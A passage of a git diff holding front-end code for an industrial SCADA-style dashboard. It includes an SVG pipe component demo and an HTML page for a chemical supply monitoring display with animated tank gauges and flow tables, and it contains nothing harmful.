<line x1="52" y1="5" x2="52" y2="15" class="t20-strong"/>
|
||||
<line x1="25" y1="28" x2="35" y2="28" class="t20-stroke"/>
|
||||
<line x1="25" y1="32" x2="35" y2="32" class="t20-strong"/>
|
||||
<line id="pipe-main-flow" x1="12" y1="10" x2="48" y2="10" class="t20-flow"/>
|
||||
<line id="pipe-branch-flow" x1="30" y1="16" x2="30" y2="32" class="t20-flow"/>
|
||||
</svg>`,
|
||||
},
|
||||
{
|
||||
id: 'pipe-dynamic',
|
||||
title: '#18b Pipe Straight — Dynamic Length Demo',
|
||||
viewBox: '동적 (length 슬라이더로 가변)',
|
||||
displayWidth: null,
|
||||
displayHeight: null,
|
||||
requiredIds: ['pipe-outer', 'pipe-inner', 'pipe-flow'],
|
||||
notes: 'JS 가 length px 받아서 양 끝 flange 고정 + 가운데만 늘어남. 흐름량 슬라이더로 흐르는 속도(L/min) 도 가변',
|
||||
dynamic: 'length',
|
||||
minLength: 80,
|
||||
maxLength: 800,
|
||||
initialLength: 300,
|
||||
},
|
||||
{ id: 'placeholder-11', title: '#11 Centrifugal Pump', placeholder: true },
|
||||
{ id: 'placeholder-14', title: '#14 Gate Valve', placeholder: true },
|
||||
];
|
||||
|
||||
//==============================================================
|
||||
// 동적 SVG 생성 — pipe straight 의 어떤 길이도 자동 생성
|
||||
// 양 끝 flange 좌표는 절대값, 가운데 outer/inner/flow 만 length 따라 늘어남
|
||||
//==============================================================
|
||||
function createPipeStraightSVG(lengthPx) {
|
||||
const W = lengthPx;
|
||||
return `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${W} 20" width="${W}" height="20" overflow="visible" role="img" style="--scada-stroke:#aaaaaa;--scada-stroke-strong:#ffffff;--scada-flow:#5af9ff;--scada-idle:#2a3f5a">
|
||||
<defs>
|
||||
<linearGradient id="pipe-metal-grad-dyn" x1="0" y1="0" x2="0" y2="1">
|
||||
<stop offset="0" stop-color="#d9d9d9"/>
|
||||
<stop offset="0.18" stop-color="#f4f4f4"/>
|
||||
<stop offset="0.5" stop-color="#8f8f8f"/>
|
||||
<stop offset="0.82" stop-color="#d7d7d7"/>
|
||||
<stop offset="1" stop-color="#6f6f6f"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<style>
|
||||
.pdyn-stroke{stroke:var(--scada-stroke);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.pdyn-strong{stroke:var(--scada-stroke-strong);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.pdyn-metal{fill:url(#pipe-metal-grad-dyn)}
|
||||
.pdyn-idle{fill:var(--scada-idle)}
|
||||
.pdyn-flow{stroke:var(--scada-flow);stroke-width:2;stroke-linecap:round;stroke-dasharray:4 4;vector-effect:non-scaling-stroke}
|
||||
</style>
|
||||
<rect id="pipe-outer" x="2" y="4" width="${W - 4}" height="12" rx="2" ry="2" class="pdyn-metal pdyn-stroke"/>
|
||||
<rect id="pipe-inner" x="6" y="7" width="${W - 12}" height="6" rx="1.5" ry="1.5" class="pdyn-idle pdyn-stroke"/>
|
||||
<line x1="8" y1="5" x2="8" y2="15" class="pdyn-strong"/>
|
||||
<line x1="12" y1="5" x2="12" y2="15" class="pdyn-stroke"/>
|
||||
<line x1="${W - 12}" y1="5" x2="${W - 12}" y2="15" class="pdyn-stroke"/>
|
||||
<line x1="${W - 8}" y1="5" x2="${W - 8}" y2="15" class="pdyn-strong"/>
|
||||
<line id="pipe-flow" x1="12" y1="10" x2="${W - 12}" y2="10" class="pdyn-flow"/>
|
||||
</svg>`;
|
||||
}
|
||||
|
||||
//==============================================================
|
||||
// 카드 렌더
|
||||
//==============================================================
|
||||
const STATE_COLORS = {
|
||||
active: '#7cff3a',
|
||||
warning: '#ff8a3a',
|
||||
alarm: '#ff4f9a',
|
||||
idle: '#2a3f5a',
|
||||
};
|
||||
|
||||
const lib = document.getElementById('lib');
|
||||
|
||||
LIBRARY.forEach(comp => {
|
||||
if (comp.placeholder) {
|
||||
const ph = document.createElement('div');
|
||||
ph.className = 'empty-card';
|
||||
ph.textContent = '⌛ ' + comp.title + ' — 대기 중';
|
||||
lib.appendChild(ph);
|
||||
return;
|
||||
}
|
||||
|
||||
const card = document.createElement('div');
|
||||
card.className = 'card';
|
||||
|
||||
const header = document.createElement('h3');
|
||||
header.innerHTML = `<span>${comp.title}</span>`;
|
||||
card.appendChild(header);
|
||||
|
||||
const stage = document.createElement('div');
|
||||
stage.className = 'stage';
|
||||
card.appendChild(stage);
|
||||
|
||||
const meta = document.createElement('div');
|
||||
meta.className = 'meta';
|
||||
card.appendChild(meta);
|
||||
|
||||
const ctrl = document.createElement('div');
|
||||
ctrl.className = 'ctrl';
|
||||
card.appendChild(ctrl);
|
||||
|
||||
const flowCtrl = document.createElement('div');
|
||||
flowCtrl.style.marginTop = '8px';
|
||||
card.appendChild(flowCtrl);
|
||||
|
||||
let lengthCtrl = null;
|
||||
if (comp.dynamic === 'length') {
|
||||
lengthCtrl = document.createElement('div');
|
||||
lengthCtrl.style.marginTop = '6px';
|
||||
card.appendChild(lengthCtrl);
|
||||
}
|
||||
|
||||
card._flowActive = true;
|
||||
card._flowRate = 50;
|
||||
card._flowOffset = 0;
|
||||
let currentRotation = 0;
|
||||
|
||||
function paintSvg(svgHtml) {
|
||||
stage.innerHTML = svgHtml;
|
||||
const svgEl = stage.querySelector('svg');
|
||||
if (comp.displayWidth) svgEl.setAttribute('width', comp.displayWidth);
|
||||
if (comp.displayHeight) svgEl.setAttribute('height', comp.displayHeight);
|
||||
if (currentRotation) svgEl.style.transform = `rotate(${currentRotation}deg)`;
|
||||
|
||||
// 검증
|
||||
const allIds = Array.from(svgEl.querySelectorAll('[id]')).map(el => el.id);
|
||||
const missing = comp.requiredIds.filter(id => !allIds.includes(id));
|
||||
const ok = missing.length === 0;
|
||||
|
||||
const oldBadge = header.querySelector('.badge');
|
||||
if (oldBadge) oldBadge.remove();
|
||||
const badge = document.createElement('span');
|
||||
badge.className = 'badge ' + (ok ? 'ok' : 'fail');
|
||||
badge.textContent = ok ? '✓ VERIFIED' : '✗ MISSING ' + missing.length;
|
||||
header.appendChild(badge);
|
||||
|
||||
meta.innerHTML = `
|
||||
<div><span class="key">viewBox</span>: ${svgEl.getAttribute('viewBox') || comp.viewBox}</div>
|
||||
<div><span class="key">IDs</span> (${allIds.length}): ${allIds.join(', ')}</div>
|
||||
${comp.notes ? `<div><span class="key">notes</span>: ${comp.notes}</div>` : ''}
|
||||
`;
|
||||
|
||||
return svgEl;
|
||||
}
|
||||
|
||||
// 초기 SVG
|
||||
let svgEl = comp.dynamic === 'length'
|
||||
? paintSvg(createPipeStraightSVG(comp.initialLength))
|
||||
: paintSvg(comp.svg);
|
||||
|
||||
const hasFlow = svgEl.querySelectorAll('[id$="-flow"], [id="pipe-flow"]').length > 0;
|
||||
|
||||
if (hasFlow) {
|
||||
// 상태 토글
|
||||
['active', 'warning', 'alarm', 'idle'].forEach(state => {
|
||||
const btn = document.createElement('button');
|
||||
btn.dataset.state = state;
|
||||
btn.textContent = state;
|
||||
btn.addEventListener('click', () => {
|
||||
ctrl.querySelectorAll('button[data-state]').forEach(b => b.classList.remove('active'));
|
||||
btn.classList.add('active');
|
||||
const cur = stage.querySelector('svg');
|
||||
cur.style.setProperty('--scada-flow', STATE_COLORS[state]);
|
||||
card._flowActive = (state !== 'idle');
|
||||
});
|
||||
ctrl.appendChild(btn);
|
||||
});
|
||||
|
||||
// 회전 버튼
|
||||
[0, 90, 180, 270].forEach(deg => {
|
||||
const btn = document.createElement('button');
|
||||
btn.textContent = deg + '°';
|
||||
if (deg === 0) btn.style.marginLeft = '12px';
|
||||
btn.addEventListener('click', () => {
|
||||
currentRotation = deg;
|
||||
const cur = stage.querySelector('svg');
|
||||
cur.style.transform = `rotate(${deg}deg)`;
|
||||
});
|
||||
ctrl.appendChild(btn);
|
||||
});
|
||||
|
||||
// flow rate 슬라이더 (유량)
|
||||
flowCtrl.innerHTML = `
|
||||
<label style="display:flex;justify-content:space-between;font-size:10px;color:#8aa;font-family:Consolas">
|
||||
<span>유량 (Flow rate)</span>
|
||||
<span><b data-out>50</b> L/min</span>
|
||||
</label>
|
||||
<input type="range" min="0" max="100" value="50" step="1" style="width:100%;margin-top:2px">
|
||||
`;
|
||||
const flowSlider = flowCtrl.querySelector('input');
|
||||
const flowOut = flowCtrl.querySelector('[data-out]');
|
||||
flowSlider.addEventListener('input', () => {
|
||||
card._flowRate = +flowSlider.value;
|
||||
flowOut.textContent = card._flowRate;
|
||||
card._flowActive = card._flowRate > 0;
|
||||
flowOut.style.color = card._flowRate === 0 ? '#666' : card._flowRate > 70 ? '#7cff3a' : '#5af9ff';
|
||||
});
|
||||
|
||||
// 기본: active
|
||||
ctrl.querySelector('[data-state="active"]').click();
|
||||
|
||||
// 애니메이션 — flowRate 가 속도 결정 (0=정지, 100=최대)
|
||||
setInterval(() => {
|
||||
if (!card._flowActive) return;
|
||||
const speed = card._flowRate / 100 * 1.8;
|
||||
card._flowOffset -= speed;
|
||||
const cur = stage.querySelector('svg');
|
||||
if (cur) {
|
||||
cur.querySelectorAll('[id$="-flow"], [id="pipe-flow"]').forEach(el => {
|
||||
el.setAttribute('stroke-dashoffset', card._flowOffset);
|
||||
});
|
||||
}
|
||||
}, 30);
|
||||
}
|
||||
|
||||
// dynamic length: 슬라이더로 SVG 재생성
|
||||
if (comp.dynamic === 'length' && lengthCtrl) {
|
||||
lengthCtrl.innerHTML = `
|
||||
<label style="display:flex;justify-content:space-between;font-size:10px;color:#8aa;font-family:Consolas">
|
||||
<span>파이프 길이</span>
|
||||
<span><b data-out>${comp.initialLength}</b> px</span>
|
||||
</label>
|
||||
<input type="range" min="${comp.minLength}" max="${comp.maxLength}" value="${comp.initialLength}" step="10" style="width:100%;margin-top:2px">
|
||||
`;
|
||||
const lenSlider = lengthCtrl.querySelector('input');
|
||||
const lenOut = lengthCtrl.querySelector('[data-out]');
|
||||
lenSlider.addEventListener('input', () => {
|
||||
const len = +lenSlider.value;
|
||||
lenOut.textContent = len;
|
||||
paintSvg(createPipeStraightSVG(len));
|
||||
// 현재 활성 상태 색 다시 입히기
|
||||
const activeBtn = ctrl.querySelector('button[data-state].active');
|
||||
if (activeBtn) {
|
||||
const state = activeBtn.dataset.state;
|
||||
const cur = stage.querySelector('svg');
|
||||
cur.style.setProperty('--scada-flow', STATE_COLORS[state]);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
lib.appendChild(card);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,555 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>AUTO CHEMICAL SUPPLY MONITORING WEB SYSTEM</title>
|
||||
<style>
|
||||
* { box-sizing: border-box; }
|
||||
html, body {
|
||||
margin: 0; padding: 0; background: #050a18; color: #fff;
|
||||
font-family: 'Segoe UI', sans-serif;
|
||||
}
|
||||
.header {
|
||||
background: linear-gradient(180deg, #1a3870 0%, #0c1f4a 100%);
|
||||
padding: 8px 20px; display: flex; justify-content: space-between;
|
||||
align-items: center; border-bottom: 1px solid #1e4080;
|
||||
}
|
||||
.header h1 { font-size: 18px; margin: 0; letter-spacing: 2px; font-weight: 700; }
|
||||
.header .clock { font-size: 14px; font-family: 'Consolas', monospace; }
|
||||
|
||||
.main {
|
||||
display: grid; grid-template-columns: 1fr 380px; gap: 12px;
|
||||
padding: 12px;
|
||||
}
|
||||
|
||||
.tanks-area {
|
||||
display: grid; grid-template-columns: repeat(4, 1fr) 1.4fr;
|
||||
grid-template-rows: 1fr 1fr;
|
||||
gap: 12px;
|
||||
}
|
||||
.tank-cell {
|
||||
background: #050a18;
|
||||
border: 1px solid #1e3060;
|
||||
padding: 6px;
|
||||
display: flex; flex-direction: column; align-items: center;
|
||||
border-radius: 4px;
|
||||
}
|
||||
.tank-cell .label {
|
||||
font-size: 13px; font-weight: 600; margin-bottom: 4px; color: #fff;
|
||||
}
|
||||
.hno3-group {
|
||||
grid-column: 5 / 6; grid-row: 1 / 2;
|
||||
background: #050a18;
|
||||
border: 1px dashed #5a8;
|
||||
padding: 8px;
|
||||
display: flex; flex-direction: column;
|
||||
}
|
||||
.hno3-group .group-title {
|
||||
text-align: center; font-size: 13px; font-weight: 600;
|
||||
color: #5af; margin-bottom: 4px;
|
||||
}
|
||||
.hno3-group .group-tanks {
|
||||
display: grid; grid-template-columns: repeat(3, 1fr); gap: 4px;
|
||||
flex: 1;
|
||||
}
|
||||
.hno3-group .tank-cell { border: none; padding: 2px; }
|
||||
|
||||
.h2so4-cell { grid-column: 1 / 3; grid-row: 2 / 3; }
|
||||
.h2o2-cell { grid-column: 3 / 5; grid-row: 2 / 3; }
|
||||
|
||||
.gauge-row {
|
||||
margin-top: 4px;
|
||||
background: #0a1830; border: 1px solid #1a2f50;
|
||||
padding: 4px 6px; width: 100%;
|
||||
display: flex; flex-direction: column; align-items: center;
|
||||
}
|
||||
.gauge-row .gauge-label {
|
||||
font-size: 9px; color: #8aa; margin-bottom: 2px;
|
||||
}
|
||||
.gauge-bars {
|
||||
display: flex; gap: 2px; height: 10px; width: 100%;
|
||||
}
|
||||
.gauge-bars > div {
|
||||
flex: 1; transition: background 0.3s;
|
||||
}
|
||||
|
||||
.right-panel {
|
||||
display: flex; flex-direction: column; gap: 8px;
|
||||
}
|
||||
.panel-box {
|
||||
border: 1px solid #2a4070;
|
||||
background: #0a1830;
|
||||
border-radius: 4px;
|
||||
}
|
||||
.panel-box .panel-title {
|
||||
background: linear-gradient(180deg, #1a3870, #0c1f4a);
|
||||
color: #5af; text-align: center; padding: 4px;
|
||||
font-size: 12px; font-weight: 600;
|
||||
}
|
||||
.panel-grid {
|
||||
display: grid; gap: 4px; padding: 6px;
|
||||
}
|
||||
.panel-grid > div {
|
||||
padding: 6px 4px; text-align: center; font-size: 11px; font-weight: 600;
|
||||
border-radius: 3px; cursor: pointer; transition: filter 0.2s;
|
||||
}
|
||||
.panel-grid > div:hover { filter: brightness(1.3); }
|
||||
.grid-5 { grid-template-columns: repeat(5, 1fr); }
|
||||
.grid-2 { grid-template-columns: repeat(2, 1fr); }
|
||||
.grid-3 { grid-template-columns: repeat(3, 1fr); }
|
||||
.cell-green { background: #2a8b3a; color: #fff; }
|
||||
.cell-pink { background: #d04880; color: #fff; }
|
||||
|
||||
.data-table {
|
||||
border: 1px solid #2a4070;
|
||||
background: #050a18;
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.data-table .panel-title {
|
||||
background: linear-gradient(180deg, #1a3870, #0c1f4a);
|
||||
color: #5af; text-align: center; padding: 4px;
|
||||
font-size: 12px; font-weight: 600;
|
||||
}
|
||||
.data-table table {
|
||||
width: 100%; border-collapse: collapse; font-size: 10px;
|
||||
font-family: 'Consolas', monospace;
|
||||
}
|
||||
.data-table th, .data-table td {
|
||||
border: 1px solid #1a2f50;
|
||||
padding: 2px 4px; text-align: center;
|
||||
}
|
||||
.data-table thead { background: #0c1f4a; }
|
||||
.data-table .group-th {
|
||||
background: #142850; color: #5af; font-weight: 600;
|
||||
}
|
||||
.data-table tbody tr.fresh { animation: flash 1s ease-out; }
|
||||
@keyframes flash {
|
||||
0% { background: rgba(90, 255, 200, 0.4); }
|
||||
100% { background: transparent; }
|
||||
}
|
||||
|
||||
.footer {
|
||||
background: #1a3a1a; color: #5af04a;
|
||||
padding: 4px 20px; font-size: 12px; font-weight: 600;
|
||||
border-top: 1px solid #1e6020;
|
||||
}
|
||||
|
||||
/* 뚜껑 — 우측 끝 (89, 35) 을 경첩으로 -90도 회전 */
|
||||
.tank-lid {
|
||||
transform-origin: 89px 35px;
|
||||
transition: transform 0.5s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
cursor: pointer;
|
||||
}
|
||||
.tank-lid:hover { filter: brightness(1.15); }
|
||||
.tank-lid.open { transform: rotate(90deg); }
|
||||
.tank-cell { overflow: visible; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="header">
|
||||
<h1>AUTO CHEMICAL SUPPLY MONITORING WEB SYSTEM</h1>
|
||||
<div class="clock" id="clock">--:--:-- --/--/----</div>
|
||||
</div>
|
||||
|
||||
<div class="main">
|
||||
<!-- LEFT: 탱크 영역 -->
|
||||
<div class="tanks-area" id="tanksArea">
|
||||
<div class="tank-cell" id="cell-HCL"></div>
|
||||
<div class="tank-cell" id="cell-CuCl2"></div>
|
||||
<div class="tank-cell" id="cell-OXA"></div>
|
||||
|
||||
<!-- 4번째 자리는 비고 (HNO3 그룹이 5열 1행에 들어감) -->
|
||||
<div></div>
|
||||
|
||||
<div class="hno3-group">
|
||||
<div class="group-title">HNO3 - AU PLATING</div>
|
||||
<div class="group-tanks">
|
||||
<div class="tank-cell" id="cell-HNO3"></div>
|
||||
<div class="tank-cell" id="cell-AU"></div>
|
||||
<div class="tank-cell" id="cell-WHNO3"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="tank-cell h2so4-cell" id="cell-H2SO4"></div>
|
||||
<div class="tank-cell h2o2-cell" id="cell-H2O2"></div>
|
||||
</div>
|
||||
|
||||
<!-- RIGHT: 패널 + 테이블 -->
|
||||
<div class="right-panel">
|
||||
<div class="panel-box">
|
||||
<div class="panel-title">SUPPLY CHEMICAL TO STORAGE TANK</div>
|
||||
<div class="panel-grid grid-5">
|
||||
<div class="cell-green">HCL</div>
|
||||
<div class="cell-green">OXA</div>
|
||||
<div class="cell-green">HNO3</div>
|
||||
<div class="cell-green">H2O2</div>
|
||||
<div class="cell-green">H2SO4</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel-box">
|
||||
<div class="panel-title">WASTE CHEMICAL</div>
|
||||
<div class="panel-grid grid-2">
|
||||
<div class="cell-green">CuCl2</div>
|
||||
<div class="cell-green">HNO3 WASTE</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel-box">
|
||||
<div class="panel-title">SUPPLY CHEMICAL TO PRODUCTION</div>
|
||||
<div class="panel-grid grid-3">
|
||||
<div class="cell-green">CuCl2 DES#1</div>
|
||||
<div class="cell-green">HCL DES#1</div>
|
||||
<div class="cell-green">HCL CF2</div>
|
||||
<div class="cell-green">OXA DES#1</div>
|
||||
<div class="cell-pink">HNO3 AU</div>
|
||||
<div class="cell-pink">H2SO4 COPPER</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="data-table">
|
||||
<div class="panel-title">SUPPLY AMOUNT OF COPPER PLATING ROOM</div>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th rowspan="2">TIME</th>
|
||||
<th colspan="2" class="group-th">HCL (L)</th>
|
||||
<th colspan="2" class="group-th">CuCl2 (L)</th>
|
||||
<th colspan="2" class="group-th">OXA (L)</th>
|
||||
<th colspan="2" class="group-th">HNO3 (L)</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>FLOW</th><th>TOTAL</th>
|
||||
<th>FLOW</th><th>TOTAL</th>
|
||||
<th>FLOW</th><th>TOTAL</th>
|
||||
<th>FLOW</th><th>TOTAL</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="dataBody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="footer">● System connected normally</div>
|
||||
|
||||
<script>
|
||||
//==============================================================
|
||||
// SVG 템플릿 (ChatGPT GPT-5 가 생성한 산업용 탱크)
|
||||
// — id 와 url(#) 은 인스턴스마다 prefix 치환됨
|
||||
//==============================================================
|
||||
const TANK_SVG_TEMPLATE = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 110 180" overflow="visible" role="img" aria-label="Industrial chemical storage tank">
|
||||
<defs>
|
||||
<linearGradient id="metal-grad" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="var(--metal-dark)"/>
|
||||
<stop offset="0.18" stop-color="var(--metal-light)"/>
|
||||
<stop offset="0.42" stop-color="#ffffff"/>
|
||||
<stop offset="0.72" stop-color="var(--metal-dark)"/>
|
||||
<stop offset="1" stop-color="var(--metal-light)"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="glass-grad" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#ffffff" stop-opacity="0.18"/>
|
||||
<stop offset="0.12" stop-color="#ffffff" stop-opacity="0.04"/>
|
||||
<stop offset="0.5" stop-color="#0b1528" stop-opacity="0.35"/>
|
||||
<stop offset="0.88" stop-color="#ffffff" stop-opacity="0.06"/>
|
||||
<stop offset="1" stop-color="#ffffff" stop-opacity="0.16"/>
|
||||
</linearGradient>
|
||||
<clipPath id="tank-clip">
|
||||
<rect x="31" y="40" width="56" height="113"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
<style>
|
||||
.tank-num{fill:#cfd3d8;font-family:Arial,Helvetica,sans-serif;font-size:7px;text-anchor:end}
|
||||
.tank-mono{fill:#ffffff;font-family:Consolas,'Courier New',monospace;font-size:13px;text-anchor:middle;dominant-baseline:middle}
|
||||
</style>
|
||||
<rect x="0" y="0" width="110" height="180" fill="#050a18"/>
|
||||
|
||||
<!-- Scale ruler -->
|
||||
<g>
|
||||
<line x1="22" y1="40" x2="22" y2="155" stroke="#ffffff" stroke-width="1" vector-effect="non-scaling-stroke"/>
|
||||
<g stroke="#ffffff" stroke-width="1" vector-effect="non-scaling-stroke">
|
||||
<line x1="17" y1="155" x2="22" y2="155"/>
|
||||
<line x1="18.5" y1="149.25" x2="22" y2="149.25"/>
|
||||
<line x1="18.5" y1="143.5" x2="22" y2="143.5"/>
|
||||
<line x1="18.5" y1="137.75" x2="22" y2="137.75"/>
|
||||
<line x1="17" y1="132" x2="22" y2="132"/>
|
||||
<line x1="18.5" y1="126.25" x2="22" y2="126.25"/>
|
||||
<line x1="18.5" y1="120.5" x2="22" y2="120.5"/>
|
||||
<line x1="18.5" y1="114.75" x2="22" y2="114.75"/>
|
||||
<line x1="17" y1="109" x2="22" y2="109"/>
|
||||
<line x1="18.5" y1="103.25" x2="22" y2="103.25"/>
|
||||
<line x1="18.5" y1="97.5" x2="22" y2="97.5"/>
|
||||
<line x1="18.5" y1="91.75" x2="22" y2="91.75"/>
|
||||
<line x1="17" y1="86" x2="22" y2="86"/>
|
||||
<line x1="18.5" y1="80.25" x2="22" y2="80.25"/>
|
||||
<line x1="18.5" y1="74.5" x2="22" y2="74.5"/>
|
||||
<line x1="18.5" y1="68.75" x2="22" y2="68.75"/>
|
||||
<line x1="17" y1="63" x2="22" y2="63"/>
|
||||
<line x1="18.5" y1="57.25" x2="22" y2="57.25"/>
|
||||
<line x1="18.5" y1="51.5" x2="22" y2="51.5"/>
|
||||
<line x1="18.5" y1="45.75" x2="22" y2="45.75"/>
|
||||
<line x1="17" y1="40" x2="22" y2="40"/>
|
||||
</g>
|
||||
<text x="15" y="157" class="tank-num">0</text>
|
||||
<text x="15" y="134" class="tank-num">20</text>
|
||||
<text x="15" y="111" class="tank-num">40</text>
|
||||
<text x="15" y="88" class="tank-num">60</text>
|
||||
<text x="15" y="65" class="tank-num">80</text>
|
||||
<text x="15" y="42" class="tank-num">100</text>
|
||||
</g>
|
||||
|
||||
<!-- 뚜껑 (클릭하면 -90도 회전: ㅡ → ㅣ) -->
|
||||
<g class="tank-lid">
|
||||
<!-- 클릭 영역을 살짝 넓혀주는 투명 hit-box -->
|
||||
<rect x="25" y="8" width="68" height="32" fill="transparent"/>
|
||||
<!-- Top nozzle -->
|
||||
<rect x="51" y="10" width="16" height="4" rx="1" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<rect x="54" y="14" width="10" height="6" fill="url(#metal-grad)" stroke="var(--tank-stroke)" stroke-width="1"/>
|
||||
<!-- Dome cap -->
|
||||
<path d="M29 35 C29 22 43 18 59 18 C75 18 89 22 89 35 L89 39 L29 39 Z" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<rect x="27" y="35" width="64" height="5" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<line x1="29" y1="38" x2="89" y2="38" stroke="#333333" stroke-width="0.8"/>
|
||||
</g>
|
||||
|
||||
<!-- Tank glass body -->
|
||||
<rect x="29" y="39" width="60" height="115" fill="#081326" stroke="#ffffff" stroke-width="1"/>
|
||||
<rect x="31" y="40" width="56" height="113" fill="url(#glass-grad)" stroke="var(--tank-stroke)" stroke-width="1"/>
|
||||
|
||||
<!-- Liquid -->
|
||||
<rect id="tank-liquid" x="31" y="155" width="56" height="0" fill="var(--liquid-color)" clip-path="url(#tank-clip)"/>
|
||||
<ellipse id="tank-surface" cx="59" cy="155" rx="28" ry="2.2" fill="var(--liquid-color)" opacity="0.85" clip-path="url(#tank-clip)"/>
|
||||
|
||||
<!-- Glass highlight -->
|
||||
<path d="M35 43 L43 43 L38 146 L34 153 Z" fill="#ffffff" opacity="0.16"/>
|
||||
<rect x="82" y="42" width="3" height="111" fill="#ffffff" opacity="0.08"/>
|
||||
|
||||
<!-- Level readout -->
|
||||
<rect id="level-bg" x="40" y="83" width="38" height="18" rx="4" fill="#000000" stroke="#ffffff" stroke-width="1"/>
|
||||
<text id="level-text" x="59" y="92" class="tank-mono">0.0%</text>
|
||||
|
||||
<!-- Base -->
|
||||
<rect x="28" y="153" width="62" height="7" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<line x1="30" y1="154.5" x2="88" y2="154.5" stroke="#ffffff" stroke-width="0.6" opacity="0.65"/>
|
||||
|
||||
<!-- Outlet pipe + pump -->
|
||||
<rect x="55" y="160" width="8" height="12" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<circle cx="59" cy="166" r="8.5" fill="#081326" stroke="#ffffff" stroke-width="1"/>
|
||||
<circle cx="59" cy="166" r="6.6" fill="none" stroke="var(--tank-stroke)" stroke-width="1"/>
|
||||
<path d="M56 161.8 L56 170.2 L63.5 166 Z" fill="#ffffff"/>
|
||||
<rect x="56" y="173" width="7" height="7" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
<rect x="53" y="178" width="13" height="2" fill="url(#metal-grad)" stroke="#ffffff" stroke-width="1"/>
|
||||
</svg>`;
|
||||
|
||||
//==============================================================
|
||||
// 탱크 SVG 컴포넌트 — 재사용 가능
|
||||
//==============================================================
|
||||
class TankGauge {
|
||||
/**
|
||||
* opts:
|
||||
* id 고유 식별자 (SVG 내부 id 충돌 방지용 prefix)
|
||||
* label 표시 라벨 (HCL, CuCl2 등)
|
||||
* capacityText "10m3" 같은 부가 텍스트 (없으면 표시 안함)
|
||||
* color 액체 색상 (CSS color)
|
||||
* level 초기 레벨 (0~100)
|
||||
* width/height SVG 크기 (생략시 110 x 180)
|
||||
*/
|
||||
constructor(opts) {
|
||||
Object.assign(this, opts);
|
||||
this.level = opts.level ?? 0;
|
||||
this.element = this._render();
|
||||
}
|
||||
|
||||
_render() {
|
||||
const wrapper = document.createElement('div');
|
||||
wrapper.style.cssText = 'display:flex;flex-direction:column;align-items:center;width:100%;';
|
||||
|
||||
// 라벨
|
||||
const labelEl = document.createElement('div');
|
||||
labelEl.style.cssText = 'font-size:13px;font-weight:600;color:#fff;margin-bottom:2px;';
|
||||
labelEl.innerHTML = `${this.label}${this.capacityText ? ` <span style="color:#8af;font-size:11px;">(${this.capacityText})</span>` : ''}`;
|
||||
wrapper.appendChild(labelEl);
|
||||
|
||||
// SVG: id 와 url(#) 모두 instance prefix 치환
|
||||
const id = this.id;
|
||||
const svgHtml = TANK_SVG_TEMPLATE
|
||||
.replace(/id="/g, `id="${id}-`)
|
||||
.replace(/url\(#/g, `url(#${id}-`);
|
||||
const tmp = document.createElement('div');
|
||||
tmp.innerHTML = svgHtml;
|
||||
const svgEl = tmp.firstElementChild;
|
||||
|
||||
// 크기 조절 (HNO3 sub 탱크는 작게)
|
||||
svgEl.setAttribute('width', this.width ?? 110);
|
||||
svgEl.setAttribute('height', this.height ?? 180);
|
||||
|
||||
// CSS 변수로 색상 주입 — 인스턴스별로 액체/금속 색 분리
|
||||
svgEl.style.setProperty('--liquid-color', this.color);
|
||||
svgEl.style.setProperty('--tank-stroke', '#aaaaaa');
|
||||
svgEl.style.setProperty('--metal-light', '#dddddd');
|
||||
svgEl.style.setProperty('--metal-dark', '#666666');
|
||||
svgEl.style.background = '#050a18';
|
||||
svgEl.style.display = 'block';
|
||||
|
||||
// 뚜껑 클릭 → open/close 토글
|
||||
const lid = svgEl.querySelector('.tank-lid');
|
||||
if (lid) {
|
||||
lid.addEventListener('click', (e) => {
|
||||
e.stopPropagation();
|
||||
lid.classList.toggle('open');
|
||||
});
|
||||
}
|
||||
|
||||
wrapper.appendChild(svgEl);
|
||||
|
||||
// 막대 게이지 (탱크 아래)
|
||||
const gauge = document.createElement('div');
|
||||
gauge.className = 'gauge-row';
|
||||
gauge.innerHTML = `
|
||||
<div class="gauge-label">${this.label} SUPPLY LINES</div>
|
||||
<div class="gauge-bars" id="bars-${id}"></div>
|
||||
`;
|
||||
wrapper.appendChild(gauge);
|
||||
|
||||
return wrapper;
|
||||
}
|
||||
|
||||
/**
|
||||
* 동적 레벨 변경 — SVG 내부 4개 element 갱신:
|
||||
* tank-liquid (rect) : y, height
|
||||
* tank-surface (ellipse): cy
|
||||
* level-text (text) : textContent
|
||||
* level-bg (rect) : fill (30% 미만 빨강 / 90% 초과 녹색 / 그 외 검정)
|
||||
*/
|
||||
setLevel(pct) {
|
||||
pct = Math.max(0, Math.min(100, pct));
|
||||
this.level = pct;
|
||||
const id = this.id;
|
